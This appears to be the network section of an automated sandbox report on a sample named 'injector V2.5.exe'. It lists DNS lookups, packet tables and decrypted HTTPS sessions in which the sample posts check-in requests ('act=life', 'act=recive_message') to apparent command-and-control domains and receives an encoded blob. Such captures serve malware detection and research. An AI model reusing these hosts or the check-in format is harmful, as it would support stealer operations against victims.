Nov 21, 2024 16:53:08.151866913 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.165209055 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.214440107 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.251440048 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.255434990 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.255507946 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.255526066 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.255656958 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.255923033 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.255964041 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.255992889 CET	49735	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.256011009 CET	443	49735	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.370498896 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.370604038 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:08.370717049 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.371134996 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:08.371146917 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:09.637597084 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:09.637706995 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:09.639040947 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:09.639050007 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:09.639394999 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:09.640543938 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:09.640707970 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:09.640743017 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:09.640824080 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:09.640830994 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:10.517935991 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:10.518172979 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:10.518239021 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:10.518275023 CET	49736	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:10.518294096 CET	443	49736	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:10.630341053 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:10.630433083 CET	443	49737	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:10.630522966 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:10.630794048 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:10.630826950 CET	443	49737	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:11.904347897 CET	443	49737	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:11.904443026 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:11.908401966 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:11.908430099 CET	443	49737	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:11.908860922 CET	443	49737	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:11.910172939 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:11.910397053 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:11.910443068 CET	443	49737	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:12.672852039 CET	443	49737	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:12.673101902 CET	443	49737	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:12.673131943 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:12.673170090 CET	49737	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:12.973896027 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:12.973965883 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:12.974121094 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:12.974594116 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:12.974611044 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:14.238311052 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:14.238395929 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:14.239934921 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:14.239942074 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:14.240183115 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:14.241755962 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:14.241899967 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:14.241933107 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:14.242014885 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:14.242022038 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:15.154295921 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:15.154405117 CET	443	49738	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:15.154814005 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:15.154901028 CET	49738	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:15.788804054 CET	49740	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:15.788903952 CET	443	49740	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:15.789011955 CET	49740	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:15.789582968 CET	49740	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:15.789602041 CET	443	49740	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:17.118093014 CET	443	49740	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:17.118223906 CET	49740	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:17.175429106 CET	49740	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:17.175477982 CET	443	49740	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:17.176371098 CET	443	49740	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:17.178092957 CET	49740	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:17.179014921 CET	49740	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:17.179033041 CET	443	49740	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:17.867963076 CET	443	49740	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:17.868215084 CET	49740	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:18.010845900 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:18.010886908 CET	443	49744	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:18.011012077 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:18.011385918 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:18.011403084 CET	443	49744	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:19.296331882 CET	443	49744	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:19.296453953 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:19.298209906 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:19.298221111 CET	443	49744	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:19.298655033 CET	443	49744	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:19.300358057 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:19.300481081 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:19.300487995 CET	443	49744	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:20.804935932 CET	443	49744	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:20.805042028 CET	443	49744	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:20.805248022 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:20.805274963 CET	49744	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:20.935633898 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:20.935698032 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:20.935791016 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:20.937026024 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:20.937053919 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:22.158117056 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:22.158221006 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:22.160269022 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:22.160286903 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:22.160619974 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:22.173527002 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:22.173527956 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:22.173733950 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:22.898611069 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:22.898875952 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:22.898993015 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:22.910845995 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:22.910878897 CET	443	49746	172.67.206.172	192.168.2.4
Nov 21, 2024 16:53:22.910938025 CET	49746	443	192.168.2.4	172.67.206.172
Nov 21, 2024 16:53:22.910955906 CET	443	49746	172.67.206.172	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 16:53:00.244534969 CET	65437	53	192.168.2.4	1.1.1.1
Nov 21, 2024 16:53:00.568051100 CET	53	65437	1.1.1.1	192.168.2.4
Nov 21, 2024 16:53:02.928236961 CET	58217	53	192.168.2.4	1.1.1.1
Nov 21, 2024 16:53:03.167165995 CET	53	58217	1.1.1.1	192.168.2.4
Nov 21, 2024 16:53:03.175291061 CET	61931	53	192.168.2.4	1.1.1.1
Nov 21, 2024 16:53:03.499919891 CET	53	61931	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 16:53:00.244534969 CET	192.168.2.4	1.1.1.1	0xf23b	Standard query (0)	revirepart.biz	A (IP address)	IN (0x0001)	false
Nov 21, 2024 16:53:02.928236961 CET	192.168.2.4	1.1.1.1	0xc6c2	Standard query (0)	processhol.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 16:53:03.175291061 CET	192.168.2.4	1.1.1.1	0x3a43	Standard query (0)	librari-night.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 16:53:00.568051100 CET	1.1.1.1	192.168.2.4	0xf23b	No error (0)	revirepart.biz		104.21.43.198	A (IP address)	IN (0x0001)	false
Nov 21, 2024 16:53:00.568051100 CET	1.1.1.1	192.168.2.4	0xf23b	No error (0)	revirepart.biz		172.67.184.174	A (IP address)	IN (0x0001)	false
Nov 21, 2024 16:53:03.167165995 CET	1.1.1.1	192.168.2.4	0xc6c2	Name error (3)	processhol.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 21, 2024 16:53:03.499919891 CET	1.1.1.1	192.168.2.4	0x3a43	No error (0)	librari-night.sbs		172.67.206.172	A (IP address)	IN (0x0001)	false
Nov 21, 2024 16:53:03.499919891 CET	1.1.1.1	192.168.2.4	0x3a43	No error (0)	librari-night.sbs		104.21.85.146	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

revirepart.biz

librari-night.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	104.21.43.198	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:01 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: revirepart.biz
2024-11-21 15:53:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-21 15:53:02 UTC	992	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ulhhag0ono81gsshoqekj6is9o; expires=Mon, 17 Mar 2025 09:39:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eEfJxVTRw%2B7emJ6oMXd43plaDsZGt%2BfUTvNlXblOhtKBa9fE6Gdwoilha6rs7oHTrV1dJdi6XhOS%2BQSjZeSrHVMSQRc7kmneKW1Jsdun%2FP8UWbvBoAHOwr%2B7qORtTLtYSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61d9ac4ac272b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2057&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=905&delivery_rate=1454183&cwnd=222&unsent_bytes=0&cid=dc251d659c958968&ts=700&x=0"
2024-11-21 15:53:02 UTC	9	IN	Data Raw: 34 0d 0a 66 61 69 6c 0d 0a Data Ascii: 4fail
2024-11-21 15:53:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	172.67.206.172	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:04 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: librari-night.sbs
2024-11-21 15:53:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-21 15:53:05 UTC	1004	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=htetd9510i1b3cff4tad521v8i; expires=Mon, 17-Mar-2025 09:39:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J2VK5ha%2FCLY3dn15w76c%2FM%2Br4aCJWxkX3hP%2BNnUkwxMd8xFQ9hvn4UJ8GLUhrz5D2%2Bax5dG%2FYm6XHQPRBfMhe9Jp9A3RBhTB%2F6ExXSjPmEtEDlcy0KHcp%2Bb7RgNpdBSgWW6%2FrQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61d9be9b958c60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2076&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=908&delivery_rate=1364485&cwnd=215&unsent_bytes=0&cid=59e29d7730804f3f&ts=730&x=0"
2024-11-21 15:53:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 15:53:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	172.67.206.172	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:07 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: librari-night.sbs
2024-11-21 15:53:07 UTC	86	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 Data Ascii: act=recive_message&ver=4.0&lid=HpOoIh--b701621bcd05&j=b9abc76ce53b6fc3a03566f8f764f5ea
2024-11-21 15:53:08 UTC	995	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=96qp6f6abu15vepqbng9lspp7r; expires=Mon, 17-Mar-2025 09:39:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BQoiSj%2FOb9cIqoQOjWJLT6fTEjAERCVAHhnYsZYavP02iHqLFaYWfLZ01i%2FbU9Zv7rlBqCt%2F3ENqt9hUgy8jxyds6HnkRquLV4sGvyVhSpEQXV7k7sFUKEzqcUSpXfI%2FLUhb3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61d9ce5e5eefa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=987&delivery_rate=1593016&cwnd=32&unsent_bytes=0&cid=a0d1bbb7372c5860&ts=746&x=0"
2024-11-21 15:53:08 UTC	374	IN	Data Raw: 32 64 39 63 0d 0a 6b 57 77 4d 53 35 72 41 78 56 31 30 6b 54 6b 63 47 79 5a 41 48 32 31 4b 33 30 46 70 2f 45 47 4e 44 7a 63 55 43 46 4b 41 50 4e 62 71 54 6e 70 70 6f 50 54 70 66 77 66 30 47 79 5a 39 52 79 78 73 43 47 62 39 49 41 33 65 65 2b 74 75 57 32 64 74 66 71 4a 4b 75 37 4e 57 61 69 72 32 73 36 42 78 56 76 52 42 50 69 46 39 4f 7a 30 49 4a 50 31 37 53 35 6b 72 37 32 35 62 64 6d 6b 35 37 30 79 36 38 67 52 67 4c 50 4b 6c 70 6a 6b 56 2f 56 52 35 66 6b 4d 68 64 51 4d 6a 73 69 6b 45 33 6d 32 76 61 6b 30 32 4d 6e 44 4e 57 61 4c 77 49 57 30 34 38 65 4b 34 63 51 2b 7a 58 48 49 35 48 47 4a 2b 43 43 69 7a 4a 77 32 58 4b 65 56 6e 55 33 64 73 4f 50 42 56 73 50 6b 45 62 69 2f 7a 72 36 38 74 47 50 64 54 63 6e 68 4a 49 54 31 42 61 4c 6f 37 53 38 5a 6a 76 46 39 57 5a Data Ascii: 2d9ckWwMS5rAxV10kTkcGyZAH21K30Fp/EGNDzcUCFKAPNbqTnppoPTpfwf0GyZ9RyxsCGb9IA3ee+tuW2dtfqJKu7NWair2s6BxVvRBPiF9Oz0IJP17S5kr725bdmk570y68gRgLPKlpjkV/VR5fkMhdQMjsikE3m2vak02MnDNWaLwIW048eK4cQ+zXHI5HGJ+CCizJw2XKeVnU3dsOPBVsPkEbi/zr68tGPdTcnhJIT1BaLo7S8ZjvF9WZ
2024-11-21 15:53:08 UTC	1369	IN	Data Raw: 41 5a 45 67 37 32 70 66 66 47 55 36 35 6c 4f 35 39 51 35 75 61 62 62 69 6f 43 64 57 71 78 74 64 66 46 51 6c 63 52 6c 71 68 32 4d 55 30 44 71 76 61 6c 6b 32 4d 6e 44 71 57 37 66 77 42 57 45 71 38 4b 6d 31 50 77 54 31 56 6e 74 72 51 69 64 7a 42 53 75 76 4b 51 57 59 49 4f 5a 6d 58 48 4e 74 4e 4b 49 51 39 50 51 57 4c 6e 47 34 67 36 6f 30 47 76 6c 4d 66 6a 6c 62 62 47 52 50 4c 37 46 6a 55 39 34 6e 37 6d 6c 55 63 6d 51 2b 35 6c 4b 79 2f 51 4e 68 4c 2f 4b 69 6f 44 55 65 2b 31 70 7a 63 6b 73 69 65 41 49 73 75 79 38 4b 6d 32 4f 68 4c 56 4a 75 4b 6d 69 69 63 4c 50 77 48 43 77 63 2b 36 79 70 4f 41 43 7a 52 44 42 67 42 43 56 78 54 33 44 39 4c 51 36 52 4d 65 35 2f 55 48 68 34 50 4f 64 59 75 66 41 41 62 69 7a 2f 72 36 6b 35 45 66 42 54 65 6e 68 4b 4c 6e 63 4d 4c 4c 35 Data Ascii: AZEg72pffGU65lO59Q5uabbioCdWqxtdfFQlcRlqh2MU0Dqvalk2MnDqW7fwBWEq8Km1PwT1VntrQidzBSuvKQWYIOZmXHNtNKIQ9PQWLnG4g6o0GvlMfjlbbGRPL7FjU94n7mlUcmQ+5lKy/QNhL/KioDUe+1pzcksieAIsuy8Km2OhLVJuKmiicLPwHCwc+6ypOACzRDBgBCVxT3D9LQ6RMe5/UHh4POdYufAAbiz/r6k5EfBTenhKLncMLL5
2024-11-21 15:53:08 UTC	1369	IN	Data Raw: 4f 56 70 56 58 46 6e 4e 65 46 5a 74 2f 34 4a 5a 43 66 2f 70 71 73 32 47 2f 56 62 65 58 31 42 4d 48 67 47 4a 4c 46 6a 52 64 34 6b 39 79 30 4e 4e 6b 55 33 39 46 32 62 38 42 39 6e 61 65 66 73 76 6e 38 52 2f 78 73 6d 4f 55 4d 6e 64 51 51 75 74 53 4d 5a 6d 79 33 6b 62 46 39 77 61 7a 33 75 57 4c 54 79 44 6d 67 6c 2b 4b 57 67 4c 51 54 32 58 57 78 7a 42 47 77 39 43 44 44 39 65 30 75 6f 4d 2f 68 38 51 7a 52 66 4d 2b 78 51 73 2b 56 4f 63 57 66 68 34 71 41 7a 56 71 73 62 64 58 6c 49 4a 58 55 4a 4c 4c 55 73 42 4a 63 78 37 6d 46 62 5a 47 30 77 36 31 43 37 2f 77 64 6a 4c 76 57 70 72 54 49 53 39 46 6f 2b 4e 77 51 6c 5a 55 39 77 2f 52 55 62 6b 79 2f 42 5a 6c 6c 2f 4b 69 2b 73 52 2f 54 30 41 69 35 78 75 4b 61 72 4e 78 7a 38 55 6e 52 7a 53 79 74 39 42 79 47 30 49 41 75 53 Data Ascii: OVpVXFnNeFZt/4JZCf/pqs2G/VbeX1BMHgGJLFjRd4k9y0NNkU39F2b8B9naefsvn8R/xsmOUMndQQutSMZmy3kbF9waz3uWLTyDmgl+KWgLQT2XWxzBGw9CDD9e0uoM/h8QzRfM+xQs+VOcWfh4qAzVqsbdXlIJXUJLLUsBJcx7mFbZG0w61C7/wdjLvWprTIS9Fo+NwQlZU9w/RUbky/BZll/Ki+sR/T0Ai5xuKarNxz8UnRzSyt9ByG0IAuS
2024-11-21 15:53:08 UTC	1369	IN	Data Raw: 56 5a 54 51 57 67 66 34 36 7a 45 53 41 77 75 4b 57 72 66 30 36 7a 56 33 31 31 54 43 31 37 42 69 53 33 4b 67 43 53 4b 4f 74 68 58 48 4e 73 4d 65 64 62 74 66 63 43 5a 43 2f 37 6f 61 67 77 47 66 73 62 4d 44 6c 44 4f 6a 31 58 61 4a 67 30 41 4a 41 6c 72 33 49 62 62 79 6f 33 37 68 37 73 73 77 4a 6e 4c 2f 36 6e 71 7a 34 51 2b 31 35 32 66 55 55 6b 65 77 77 6e 75 53 59 4b 6b 53 66 6a 59 31 39 33 61 7a 7a 70 55 62 2f 32 54 69 42 70 2f 37 72 6e 5a 31 62 43 57 47 68 75 56 43 34 39 45 47 61 6b 59 77 79 53 59 37 63 74 56 47 52 67 4f 75 78 62 75 2f 59 4e 59 53 37 31 70 4b 73 31 48 2f 74 64 63 58 42 57 49 58 45 42 4c 37 4d 76 42 5a 4d 70 37 47 41 56 4f 43 6f 33 2b 68 37 73 73 79 4a 70 4a 4e 61 70 71 7a 68 57 37 42 56 6e 4f 55 4d 75 50 56 64 6f 73 53 6b 48 6c 79 50 6d 61 Data Ascii: VZTQWgf46zESAwuKWrf06zV311TC17BiS3KgCSKOthXHNsMedbtfcCZC/7oagwGfsbMDlDOj1XaJg0AJAlr3Ibbyo37h7sswJnL/6nqz4Q+152fUUkewwnuSYKkSfjY193azzpUb/2TiBp/7rnZ1bCWGhuVC49EGakYwySY7ctVGRgOuxbu/YNYS71pKs1H/tdcXBWIXEBL7MvBZMp7GAVOCo3+h7ssyJpJNapqzhW7BVnOUMuPVdosSkHlyPma
2024-11-21 15:53:08 UTC	1369	IN	Data Raw: 7a 39 46 57 35 2f 30 35 78 5a 2b 48 69 6f 44 4e 57 71 78 74 34 64 6b 30 68 63 67 34 68 73 53 34 4f 6c 79 62 75 61 31 46 38 59 44 44 6b 57 4c 58 32 42 47 30 6f 38 71 75 67 4e 78 48 77 53 54 34 33 42 43 56 6c 54 33 44 39 43 67 79 4d 4c 66 38 74 53 6a 68 7a 63 4f 56 53 39 4b 74 4f 61 69 50 33 70 71 41 7a 45 50 5a 64 63 33 68 4c 49 33 30 41 4c 4c 59 71 44 5a 38 75 36 6d 42 52 5a 47 41 37 37 56 4b 39 2f 77 4d 75 5a 37 69 6c 76 33 39 4f 73 32 70 7a 64 30 6f 6c 61 30 38 33 38 7a 70 4c 6d 53 2b 76 4e 52 56 33 5a 6a 2f 68 55 62 66 77 44 32 51 37 36 71 36 75 4e 78 50 2f 55 48 42 2f 56 69 52 79 42 69 75 2b 4b 67 79 57 4c 2b 56 75 55 6a 59 6b 63 4f 56 47 39 4b 74 4f 54 54 37 6f 72 2b 63 67 57 4f 6f 62 65 58 55 45 65 6a 30 48 4a 62 55 70 44 35 6b 75 36 47 74 63 5a 47 Data Ascii: z9FW5/05xZ+HioDNWqxt4dk0hcg4hsS4Olybua1F8YDDkWLX2BG0o8qugNxHwST43BCVlT3D9CgyMLf8tSjhzcOVS9KtOaiP3pqAzEPZdc3hLI30ALLYqDZ8u6mBRZGA77VK9/wMuZ7ilv39Os2pzd0ola0838zpLmS+vNRV3Zj/hUbfwD2Q76q6uNxP/UHB/ViRyBiu+KgyWL+VuUjYkcOVG9KtOTT7or+cgWOobeXUEej0HJbUpD5ku6GtcZG
2024-11-21 15:53:08 UTC	1369	IN	Data Raw: 73 66 41 43 5a 53 37 37 72 61 4d 32 47 50 70 55 50 6a 63 45 4a 57 56 50 63 50 30 43 45 4a 30 76 34 69 31 4b 4f 48 4e 77 35 56 4c 30 71 30 35 69 4a 2f 32 69 72 54 6b 53 39 6c 31 30 66 45 51 70 66 67 41 73 75 79 63 45 6e 69 6a 6d 62 46 4e 7a 59 44 76 6b 55 37 66 31 43 43 35 6e 75 4b 57 2f 66 30 36 7a 65 32 56 30 53 43 55 39 45 47 61 6b 59 77 79 53 59 37 63 74 58 6e 70 75 4e 2b 4a 54 74 2f 73 4c 61 69 50 39 6f 71 38 74 48 76 4e 63 62 47 74 45 4b 33 67 44 4b 37 30 6e 44 5a 63 6c 37 47 6b 56 4f 43 6f 33 2b 68 37 73 73 79 4e 69 4c 74 47 6c 76 48 38 4a 76 55 49 2b 66 6b 68 69 4a 55 38 70 74 69 6b 45 6b 79 44 70 62 6c 35 7a 59 44 48 6c 56 72 6e 68 44 57 45 6d 2f 4b 4b 6f 4f 52 44 79 56 48 68 2b 54 53 4e 31 43 47 6a 7a 59 77 79 47 59 37 63 74 65 33 46 70 4e 4b 4a Data Ascii: sfACZS77raM2GPpUPjcEJWVPcP0CEJ0v4i1KOHNw5VL0q05iJ/2irTkS9l10fEQpfgAsuycEnijmbFNzYDvkU7f1CC5nuKW/f06ze2V0SCU9EGakYwySY7ctXnpuN+JTt/sLaiP9oq8tHvNcbGtEK3gDK70nDZcl7GkVOCo3+h7ssyNiLtGlvH8JvUI+fkhiJU8ptikEkyDpbl5zYDHlVrnhDWEm/KKoORDyVHh+TSN1CGjzYwyGY7cte3FpNKJ
